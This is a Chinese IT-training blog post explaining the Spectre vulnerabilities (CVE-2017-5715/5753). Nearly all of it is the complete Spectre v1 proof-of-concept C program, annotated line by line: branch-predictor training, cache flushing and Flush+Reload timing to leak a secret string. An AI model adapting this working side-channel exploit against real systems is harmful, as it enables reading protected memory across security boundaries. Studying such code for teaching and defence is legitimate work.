C/C++知识点之CVE-2017-5715(分支预取)/CVE-2017-5753(边界检查)
小标 2019-04-01 来源 : 阅读 1285 评论 0

摘要:本文主要向大家介绍了C/C++知识点之CVE-2017-5715(分支预取)/CVE-2017-5753(边界检查),通过具体的内容向大家展示,希望对大家学习C/C++知识点有所帮助。

本文主要向大家介绍了C/C++知识点之CVE-2017-5715(分支预取)/CVE-2017-5753(边界检查),通过具体的内容向大家展示,希望对大家学习C/C++知识点有所帮助。

C/C++知识点之CVE-2017-5715(分支预取)/CVE-2017-5753(边界检查)

漏洞:
分支预取 cpu 在读内存的这断时间里会预取
边界检查 cpu 在读内存的这断时间里不会边界检查


//
//CPU 幽灵漏洞POC代码注释  
#include "stdafx.h"
#define _CRT_SECURE_NO_WARNINGS
#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>

#ifdef _MSC_VER                 // 如果定义了微软编译器版本  包含了用于Flush+Reload 缓存×××的rdtscp和clflush 的适当文件
//Flush+Reload×××方法就是利用缓存加载进CPU的话速度比从内存中加载速度快
//rdtscp(用于读取时间戳计数器)通常只在较新的CPU上可用
// __MACHINEI(unsigned __int64 __rdtscp(unsigned int*))
// __MACHINEX86X_X64(void _mm_clflush(void const *))
#include <intrin.h>             // for rdtscp and clflush
#pragma optimize("gz", on)      // g全局优化 z大小优化 s速度优化  on 开启  分支预测为CPU优化技术的一种,要开启
#else                           // 没有定义微软编译器版本
#include <x86intrin.h>          // for rdtscp and clflush
#endif

#define __TRYTIMES   999//这个是实验的次数,这个实验做的多一些,最后得出数据也会越精确

//  数据类型  注意   uint8_t = unsigned char;  也就是每个数组元素都是1字节,这个很重要

unsigned int array1_size = 16;

uint8_t array1[160] = { 1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16 };

uint8_t array2[256 * 512];      //这个array2    无符号的话一个字节最高表示256   ,*512 ,缓存自身是64字节为单位,为了与内存映射,他回把缓存也
//以64字节划分,内存加载进缓存的话一次就加载64字节,也就是说  每次你可能只是测试这64字节中其中一个,结果他全部加载进来了,后面的时间测试就没法做了
//此处比较难理解,如果没看懂,请看后面分析
char *secret = "The Magic Words are Squeamish Ossifrage";//这个是保密信息,只有受害者知道 翻译成ASCII码也就是 84 72 69 32(空格)
//Wikipedia将其解释为从1977年开始的RSA密码挑战的解决方案。

uint8_t temp = 0;//全局变量  保证编译器不会再编译时删除victim_function()   如果没有全局变量的话,编译器可能把该函数优化
//这个是用来训练CPU分析预测,让分支预测结果一直比array1_size小,第6次超出范围,训练CPU有分支预测功能,且array1_size每次都是从内存重新加载
//速度慢,第6次时没判断,array2已经加载进来了
void victim_function(size_t x)
{

    if (x<array1_size)   //这个array1_size 每次都是从新从内存加载  下面有对它的flush操作 所以array1_size比x慢一些,导致后面恶意操作,x还未和array1_size比较,后面array2就加载进来了
        temp &= array2[array1[x] * 512];//把array1[x]的数据读取到缓存中  array2[] 里面内容一直就是1,只是通过下标记录了array1[x]的值,
         //一共6次操作,第6次是违法操作,array2[]  
        //解释   array2[array1[x] * 512]      x = malicious_x(如果他是字母secret[0]也就是T的偏移)  array1[malicious_x] = T
        //array2[T* 512]  这个T是ASCII码值   ASCII(I) = 84  也就是array2[84*512]被加载进缓存,后面CPU访问他的时候速度非常快,比array2[0-83*512]  和array2[85-256*512]快的多,因为
        //他们都是从内存中重新加载的
        //这里非常巧妙地是用 array2的下标记录了  secret内容
}

#define CACHE_HIT_THRESHOLD (80)      //时间阀值 不同CPU是不同的,80应该是作者测试得到
//三参数  value是Secrect的内容,score中是评分值该函数将测试使用Flush+Reload缓存×××访问该值所需的时间。
//命中次数存储在results表中,但是函数只返回了两个最佳猜测。
void readMemoryByte(size_t malicious_x, uint8_t value[2], int score[2])
{
    static int results[256];     //这是统计命中次数的表  
    int tries, i, j, k, mix_i;
    unsigned int junk = 0;
    size_t training_x, x;
    register uint64_t time1, time2; //为了时间更加精确,使用寄存器存储时间变量。
    volatile uint8_t *addr;   //volatile的变量是说这变量可能会被意想不到地改变,这样,编译器就不会去假设这个变量的值了。     

    for (i = 0; i<256; ++i)//仅仅初始化结果表。这里没有缓存×××。
        results[i] = 0;//先把统计次数表都置0了,类似于百米赛跑开始时,时间清零

    for (tries = __TRYTIMES; tries>0; --tries)  //开始试验  每次我们只计算一个secrt数组内容
    {
        for (i = 0; i<256; i++)
        {                                     //i7 CPU  是多核CPU,有三级缓存,L1和L2缓存为每个CPU私有,L3为多个核共享                     
            _mm_clflush(&array2[i * 512]);    //flush and reload 是应用的L3缓存,clfush指令可以 把缓存行从L1和L2中清理,保证下次把内存中输入加载进L3缓存
                                              //调用readMemoryByte每次只分析  secret[]数组一个内容,下一次要把缓存清理一下
        }
        //CLFLUSH。CLFLUSH(Cache Line Flush,缓存行刷回)清除缓存线
        //若该缓存行中的数据被修改过,则将该数据写入主存
        training_x = tries % array1_size;  //   training_x第一次为7
        for (j = 29; j >= 0; j--)
        {
            _mm_clflush(&array1_size);        //刷新缓存线路,这个后面用它 与x比较,flush之后每次都是重新加载,x与它判断需要花费时间
            for (volatile int z = 0; z<100; z++) {}//确保刷新完成  相当于暂停一下

            x = ((j % 6) - 1) & ~0xFFFF;
            x = (x | (x >> 16));
            x = training_x ^ (x&(malicious_x ^ training_x));//前5次x计算出为7,第6次是那个偏移malicious_x
            //这些行将生成5次小写的x,这将导致victim_function(x)接受分支。
                //这五次是用来训练分支预测器假设分支会被取走。
                //由于之前的5次训练,一个易受×××的过程将会在第6次迭代中执行if分支。

            victim_function(x);//执行陷阱函数
        }

        //这里开始就是侧信道×××  flush and reload
        for (i = 0; i<256; ++i)
        {
            mix_i = ((i * 167) + 13) & 255;     //我们并不是简单地测量一个序列中每个字节的访问时间,而是将它们混合在一起,并保证每次把(0-255)都生成一遍
            //这样处理器就无法猜测下一步它将访问哪个字节,然后优化访问。
            addr = &array2[mix_i * 512];// 计算缓存线路的地址来进行检查。
            //我们测定访问该缓存线中一个值的时间。如果速度很快,它就是缓存命中。如果是慢的,就是一个缓存缺失。
            time1 = __rdtscp(&junk); 
            junk = *addr;           //读取内存   因为之前这个地址内内容被加载进缓存了,所以在此访问这个地址会很快
            time2 = __rdtscp(&junk) - time1;  //测出  时间间隔
            if (time2 <= CACHE_HIT_THRESHOLD && mix_i != array1[training_x])  //后面这个条件就把array1排除了
                results[mix_i]++;//cache arrary2中的 0-255 项命中则 +1 分
        }

        /*
        获取分组中命中率最高的两个分组,分别存储在 j(最高命中),k(次高命中) 里
        */
        j = k = -1;
        for (i = 0; i < 256; i++)  //i只是用来循环的辅助变量
        {
            if (j < 0 || results[i] >= results[j])  //result统计的是命中的次数,因为 j  命中最高的字符  k 次高项字符
            {                                       //j不会小于0且j命中次数要大于i的
                k = j;                 
                j = i;        
            }
            else if (k < 0 || results[i] >= results[k]) //k也不会小于0,最小是0
            {
                k = i;    
            }
        }

        /*
        最高命中项命中次数大于 2 倍加 5 的次高命中项次数
        或
        仅仅最高命中项命中 2 次
        则
        退出循环,成功找到命中项
        */

        if (results[j] >= (2 * results[k] + 5) || (results[j] == 2 && results[k] == 0))
            break;
    }

    results[0] ^= junk;     //使用 junk 防止优化输出
    value[0] = (uint8_t)j;//存储命中最高的字符
    score[0] = results[j];//存储命中最高项字符的命中次数
    value[1] = (uint8_t)k;//存储命中次高的字符
    score[1] = results[k];//存储命中次高项字符的命中次数
}

int main(int argc, const char **argv)
{
    size_t malicious_x = (size_t)(secret - (char*)array1);  
    //malicious_x会被传入到victim_function中所以   array1[ malicious_x] = T
    //正常情况下,如果malicious_x比array1_size值大,array1[ malicious_x]是没法读取的,但是如果做一个训练让x值前几次
    //都比array1_size小,然后放入malicious_x,如此循环几次触发了分支预测,CPU预测出x比array_size小的概率很大,当 malicious_x
    //再次放入的时候(这个malicious实际上是比array1_size大的),CPU就预测malicious已经超出数组array的大小,只是CPU缓存区在计算读取的数据放到了CPU的缓存中,因为
    //因为一场所以并没有真正的执行写入到内存中,这就是漏洞产生的原因
    int i, score[2], len = 0x28;//0x28十进制为40 也就是 "The Magic Words are Squeamish Ossifrage"字符串的长度(字符串有效长度为39)
    uint8_t value[2];//上面字符串数组里面的内容

    printf("array1 adress=0x%p\n", array1);
    printf("secret adress=0x%p\n", secret);

    for (i = 0; i<sizeof(array2); ++i)                      //uint8_t array2[256*1]
    {
        array2[i] = 1;
    }

    if (3 == argc)           
    {
        sscanf(argv[1], "%u", &malicious_x);  
        malicious_x -= (size_t)array1;                  
        sscanf(argv[2], "%d", &len);                    
    }

    printf("reading %04d bytes\n\n", len);      
    int len_copy = len;
    while (--len >= 0)//我们做40次试验,每次只计算出一次secret的内容
    {
        printf("order:%04d", len_copy - len);
        printf("\taddress:0x%p", (uint8_t*)(malicious_x + array1)); 
        readMemoryByte(malicious_x++, value, score);   
        printf("\tresult:%s     ", (score[0] >= 2 * score[1] ? "success" : "fail"));//经测试这里的2是可以写成1的,写成一  我们的512可以改成64.
        printf("\tvalue:%02X acsii:'%c'\tscore=%d ", value[0], (value[0]>31 && value[0]<127 ? value[0] : '?'), score[0]);
        if (score[1]>0) //次高项
            printf("\t(second best:value:0x%02X score=%d)", value[1], score[1]);
        printf("\n");
    }

    system("pause");
    return 0;
}

   

本文由职坐标整理并发布,希望对同学们有所帮助。了解更多详情请关注职坐标编程语言C/C+频道!

本文由 @小标 发布于职坐标。未经许可,禁止转载。
喜欢 | 0 不喜欢 | 0
看完这篇文章有何感觉?已经有0人表态,0%的人喜欢 快给朋友分享吧~
评论(0)
后参与评论

您输入的评论内容中包含违禁敏感词

我知道了

助您圆梦职场 匹配合适岗位
验证码手机号,获得海同独家IT培训资料
选择就业方向:
人工智能物联网
大数据开发/分析
人工智能Python
Java全栈开发
WEB前端+H5

请输入正确的手机号码

请输入正确的验证码

获取验证码

您今天的短信下发次数太多了,明天再试试吧!

提交

我们会在第一时间安排职业规划师联系您!

您也可以联系我们的职业规划师咨询:

小职老师的微信号:z_zhizuobiao
小职老师的微信号:z_zhizuobiao

版权所有 职坐标-一站式IT培训就业服务领导者 沪ICP备13042190号-4
上海海同信息科技有限公司 Copyright ©2015 www.zhizuobiao.com,All Rights Reserved.
 沪公网安备 31011502005948号    

©2015 www.zhizuobiao.com All Rights Reserved

208小时内训课程